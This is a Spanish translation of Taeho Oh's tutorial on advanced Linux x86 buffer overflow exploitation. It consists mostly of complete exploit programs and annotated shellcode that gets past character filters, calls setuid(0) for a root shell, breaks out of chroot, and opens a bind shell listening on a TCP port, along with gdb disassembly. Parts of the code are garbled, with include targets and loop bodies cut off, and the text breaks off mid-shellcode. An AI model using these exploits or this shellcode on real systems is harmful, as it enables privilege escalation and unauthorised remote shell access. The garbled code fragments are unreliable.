*/ translated by honoriak thz to Taeho Oh for letting me translate and publish this text */ ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- 'Exploiting' avanzado de buffer overflows Escrito por Taeho Oh ( ohhara@postech.edu ) ---------------------------------------------------------------------------- Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug ---------------------------------------------------------------------------- 1. Introduccion Hoy en dia hay muchos codigos de exploit de buffer overflow. Los primeros codigos de exploit de buffer overflow solo pillaban una shell (ejecutaban /bin/sh). Aunque, ahora algunos de estos codigos de exploit de buffer overflow tienen nuevas caracteristicas. Por ejemplo, pasan a traves de un filtro, abren un socket, rompen chroot y mas. Este manual intentara explicar la tecnica avanzada de exploits de buffer overflow en linux intel x86. 2. Que tienes que saber antes de leer? Tienes que saber lenguaje ensamblador, lenguaje C y linux. Desde luego, tienes que saber lo que es un buffer overflow. Puedes conseguir informacion sobre los buffer overflows en phrack 49-14 (Smashing The Stack For Fun And Profit por Aleph1). Es un manual fantastico de buffer overflows y te recomiendo su lectura antes de empezar con este. 3. Pasando a traves de filtro Hay algunos programas que tienen problemas de buffer overflow. Por que no todos los problemas de buffer overflow son 'explotables'? Porque incluso si un programa tiene condicion de buffer overflow, puede ser dificil 'explotarlo'. En algunos casos, la razon es que el programa filtra algunos caracteres y los convierte a otros caracteres. Si el programa filtra todos los caracteres no imprimibles, es tambien bastante dificil. Si el programa filtra algunos, puedes pasar a traves del filtro haciendo un buen codigo de exploit de buffer overflow. :) 3.1 Porgrama de ejemplo vulnerable vulnerable1.c ---------------------------------------------------------------------------- #include #include int main(int argc,int **argv) { char buffer[1024]; int i; if(argc>1) { for(i=0;i #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i #include int main(int argc,char **argv) { char buffer[1024]; seteuid(getuid()); if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- Este programa vulnerable llama a seteuid(getuid()) al principio. Por lo tanto, debes pensar que "strcpy(buffer, argv[1]);" esta bien. Porque solo puedes tener tu propia shell aunque suceda un ataque de buffer overflow. Aunque, si insertas un codigo que llame a setuid(0) en la shell, puedes tener shell de root. :) 4.2 Haciendo el codigo de setuid(0) setuidasm.c ---------------------------------------------------------------------------- main() { setuid(0); } ---------------------------------------------------------------------------- compilando y desensamblando ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c [ ohhara@ohhara ~ ] {2} $ gdb setuidasm GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble setuid Dump of assembler code for function __setuid: 0x804ca00 <__setuid>: movl %ebx,%edx 0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx 0x804ca06 <__setuid+6>: movl $0x17,%eax 0x804ca0b <__setuid+11>: int $0x80 0x804ca0d <__setuid+13>: movl %edx,%ebx 0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax 0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error> 0x804ca1a <__setuid+26>: ret 0x804ca1b <__setuid+27>: nop 0x804ca1c <__setuid+28>: nop 0x804ca1d <__setuid+29>: nop 0x804ca1e <__setuid+30>: nop 0x804ca1f <__setuid+31>: nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- setuid(0); codigo ---------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 4.3 Modificando un shellcode normal Hacer el nuevo shellcode es muy facil si haces el codigo de setuid(0). Simplemente inserta el codigo en el principio de una shellcode normal. nuevo shellcode ---------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------- 4.4 Explotando el programa vulnerable2 Con este nuevo shellcode, puedes hacer un codigo de exploit facilmente. exploit2.c ---------------------------------------------------------------------------- #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i #include int main(int argc,char **argv) { char buffer[1024]; chroot("/home/ftp"); chdir("/"); if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- Si intentas ejecutar "/bin/sh" con buffer overflow, a lo mejor ejecutas "/home/ftp/bin/sh" (si es que existe) y no puedes acceder a los otros directorio excepto "/home/ftp". 5.2 Haciendo el codigo para romper chroot Si puedes ejecutar el codigo de debajo, puedes romper chroot. breakchrootasm.c ---------------------------------------------------------------------------- main() { mkdir("sh",0755); chroot("sh"); /* many "../" */ chroot("../../../../../../../../../../../../../../../../"); } ---------------------------------------------------------------------------- Esto rompe el codigo de chroot haciendo directorio "sh", porque es facil para referenciar. (tambien es usado para ejecutar "/bin/sh") compilando y desensamblando ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c [ ohhara@ohhara ~ ] {2} $ gdb breakchrootasm GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble mkdir Dump of assembler code for function __mkdir: 0x804cac0 <__mkdir>: movl %ebx,%edx 0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx 0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx 0x804caca <__mkdir+10>: movl $0x27,%eax 0x804cacf <__mkdir+15>: int $0x80 0x804cad1 <__mkdir+17>: movl %edx,%ebx 0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax 0x804cad8 <__mkdir+24>: jae 0x804cc40 <__syscall_error> 0x804cade <__mkdir+30>: ret 0x804cadf <__mkdir+31>: nop End of assembler dump. (gdb) disassemble chroot Dump of assembler code for function chroot: 0x804cb60 : movl %ebx,%edx 0x804cb62 : movl 0x4(%esp,1),%ebx 0x804cb66 : movl $0x3d,%eax 0x804cb6b : int $0x80 0x804cb6d : movl %edx,%ebx 0x804cb6f : cmpl $0xfffff001,%eax 0x804cb74 : jae 0x804cc40 <__syscall_error> 0x804cb7a : ret 0x804cb7b : nop 0x804cb7c : nop 0x804cb7d : nop 0x804cb7e : nop 0x804cb7f : nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- mkdir("sh", 0755); codigo ---------------------------------------------------------------------------- /* el primer argumento de mkdir es %ebx and y el segundo es */ /* %ecx. */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x17" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ /* %esi tiene que referenciar "/bin/sh" antes de usar */ /* esta instruccion. Esta instruccion carga la direccion */ /* de "sh" y la almacena en %ebx */ "\xfe\xc5" /* incb %ch */ /* %cx = 0000 0001 0000 0000 */ "\xb0\x3d" /* movb $0xed,%cl */ /* %cx = 0000 0001 1110 1101 */ /* %cx = 000 111 101 101 */ /* %cx = 0 7 5 5 */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- chroot("sh"); codigo ---------------------------------------------------------------------------- /* el primer argumento de chroot es ebx */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- chroot("../../../../../../../../../../../../../../../../"); codigo ---------------------------------------------------------------------------- char code[]= "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ /* cadena de caracteres "../" 'disfrazada' */ "\xf7\xdb" /* negl %ebx */ /* %ebx = $0x002f2e2e */ /* intel x86 es little endian. */ /* %ebx = "../" */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ /* preparando para looping 16 veces */ "\x56" /* pushl %esi */ /* backup del %esi actual. %esi tiene el puntero de */ /* "/bin/sh". */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl $0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ /* hace la cadena de caracteres "../../../../ . . . " en */ /* 0x10(%esi) por loopin */ "\x5e" /* popl %esi */ /* almacena %esi. */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ /* %ebx tiene la direccion de "../../../../ . . . ". */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 5.3 Modificando el shellcode normal Hacer el nuevo shellcode es muy facil si haces el codigo de romper chroot. Simplemente inserta el codigo en el principio de una shellcode normal y modifica los argumentos jmp y call. nuevo shellcode ---------------------------------------------------------------------------- char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------- 5.4 Explotando el programa vulnerable3 Con este shellcode, puedes hacer un codigo de exploit facilmente. exploit3.c ---------------------------------------------------------------------------- #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i int main(int argc,char **argv) { char buffer[1024]; if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------- Este es el programa vulnerable estandar. Usare este para abrir un socket en buffer overflow. Porque soy demasiado perezoso para hacer un programa demonio de ejemplo. :) Aunque, despues de ver el codigo, no te parecera tan malo. 6.2 Haciendo un codigo para abrir socket Si puedes ejecutar el codigo de debajo, puedes abrir un socket. opensocketasm1.c ---------------------------------------------------------------------------- #include #include #include int soc,cli,soc_len; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; int main() { if(fork()==0) { serv_addr.sin_family=AF_INET; serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); serv_addr.sin_port=htons(30464); soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); listen(soc,1); soc_len=sizeof(cli_addr); cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ---------------------------------------------------------------------------- Es dificil hacer esto en lenguaje asm. Puedes hacer este simple programa. opensocketasm2.c ---------------------------------------------------------------------------- #include #include #include int soc,cli; struct sockaddr_in serv_addr; int main() { if(fork()==0) { serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=0x77; soc=socket(2,1,6); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ---------------------------------------------------------------------------- compilando y desensamblando ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c [ ohhara@ohhara ~ ] {2} $ gdb opensocketasm2 GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 : movl $0x2,%eax 0x804ca95 : int $0x80 0x804ca97 : cmpl $0xfffff001,%eax 0x804ca9c : jae 0x804cdc0 <__syscall_error> 0x804caa2 : ret 0x804caa3 : nop 0x804caa4 : nop 0x804caa5 : nop 0x804caa6 : nop 0x804caa7 : nop 0x804caa8 : nop 0x804caa9 : nop 0x804caaa : nop 0x804caab : nop 0x804caac : nop 0x804caad : nop 0x804caae : nop 0x804caaf : nop End of assembler dump. (gdb) disassemble socket Dump of assembler code for function socket: 0x804cda0 : movl %ebx,%edx 0x804cda2 : movl $0x66,%eax 0x804cda7 : movl $0x1,%ebx 0x804cdac : leal 0x4(%esp,1),%ecx 0x804cdb0 : int $0x80 0x804cdb2 : movl %edx,%ebx 0x804cdb4 : cmpl $0xffffff83,%eax 0x804cdb7 : jae 0x804cdc0 <__syscall_error> 0x804cdbd : ret 0x804cdbe : nop 0x804cdbf : nop End of assembler dump. (gdb) disassemble bind Dump of assembler code for function bind: 0x804cd60 : movl %ebx,%edx 0x804cd62 : movl $0x66,%eax 0x804cd67 : movl $0x2,%ebx 0x804cd6c : leal 0x4(%esp,1),%ecx 0x804cd70 : int $0x80 0x804cd72 : movl %edx,%ebx 0x804cd74 : cmpl $0xffffff83,%eax 0x804cd77 : jae 0x804cdc0 <__syscall_error> 0x804cd7d : ret 0x804cd7e : nop 0x804cd7f : nop End of assembler dump. (gdb) disassemble listen Dump of assembler code for function listen: 0x804cd80 : movl %ebx,%edx 0x804cd82 : movl $0x66,%eax 0x804cd87 : movl $0x4,%ebx 0x804cd8c : leal 0x4(%esp,1),%ecx 0x804cd90 : int $0x80 0x804cd92 : movl %edx,%ebx 0x804cd94 : cmpl $0xffffff83,%eax 0x804cd97 : jae 0x804cdc0 <__syscall_error> 0x804cd9d : ret 0x804cd9e : nop 0x804cd9f : nop End of assembler dump. (gdb) disassemble accept Dump of assembler code for function __accept: 0x804cd40 <__accept>: movl %ebx,%edx 0x804cd42 <__accept+2>: movl $0x66,%eax 0x804cd47 <__accept+7>: movl $0x5,%ebx 0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx 0x804cd50 <__accept+16>: int $0x80 0x804cd52 <__accept+18>: movl %edx,%ebx 0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax 0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error> 0x804cd5d <__accept+29>: ret 0x804cd5e <__accept+30>: nop 0x804cd5f <__accept+31>: nop End of assembler dump. (gdb) disassemble dup2 Dump of assembler code for function dup2: 0x804cbe0 : movl %ebx,%edx 0x804cbe2 : movl 0x8(%esp,1),%ecx 0x804cbe6 : movl 0x4(%esp,1),%ebx 0x804cbea : movl $0x3f,%eax 0x804cbef : int $0x80 0x804cbf1 : movl %edx,%ebx 0x804cbf3 : cmpl $0xfffff001,%eax 0x804cbf8 : jae 0x804cdc0 <__syscall_error> 0x804cbfe : ret 0x804cbff : nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- fork(); codigo---------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- socket(2,1,6); codigo ---------------------------------------------------------------------------- /* %ecx es un puntero de todos los argumentos */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ /* El primer argumento. */ /* %esi tiene una referencia a espacio de memoria libre */ /* antes de usar esta instruccion. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* El segundo argumento. */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* El tercer argumento. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- bind(soc,(struct sockaddr *)&serv_addr,0x10); code ---------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax tiene que tener el valor soc antes de usar esta */ /* instruccion. */ /* el primer argumento. */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ /* serv_addr.sin_family=2 */ /* 2 esta almacenado en 0xc(%esi). */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ /* almacena numero de puerto at 0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ /* %eax = la direccion de serv_addr */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* el segundo argumento. */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ /* serv_addr.sin_addr.s_addr=0 */ /* 0 esta almacenado en 0x10(%esi). */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* el tercer argumento. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- listen(soc,1); codigo ---------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax tiene que tener el valor de soc antes de usar */ /* esta instruccion. */ /* el primer argumento. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* el segundo argumento. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- accept(sock,0,0); codigo ---------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\xf1" /* movl %eax,(%esi) */ /* %eax tiene que tener el valor de soc antes de usar */ /* esta instruccion. */ /* el primer argumento. */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* el segundo argumento. */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* el tercer argumento. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- dup2(cli,0); codigo ---------------------------------------------------------------------------- /* el primer argumento es %ebx y el segundo arg es */ /* %ecx */ char code[]= /* %eax tiene que tener el valor de cli antes de usar */ /* esta instruccion. */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 6.4 Modificando el shellcode normal Necesitas algo de trabajo para unis los codigo de abajo. nuevo shellcode ---------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ /* caso de que fork()!=0 */ /* Sera llamado exit(0) */ /* Para hacer eso, se saltara 2 veces, pq exit(0) esta */ /* alojado mas lejos. */ "\xeb\x43" /* jmp 0x43 */ /* en caso de que fork()==0 */ /* Se llamara a -0xa5 */ /* Para hacer eso, se saltara 2 veces, pq la llamada a */ /* -0xa5 esta alojada bastante lejos. */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl 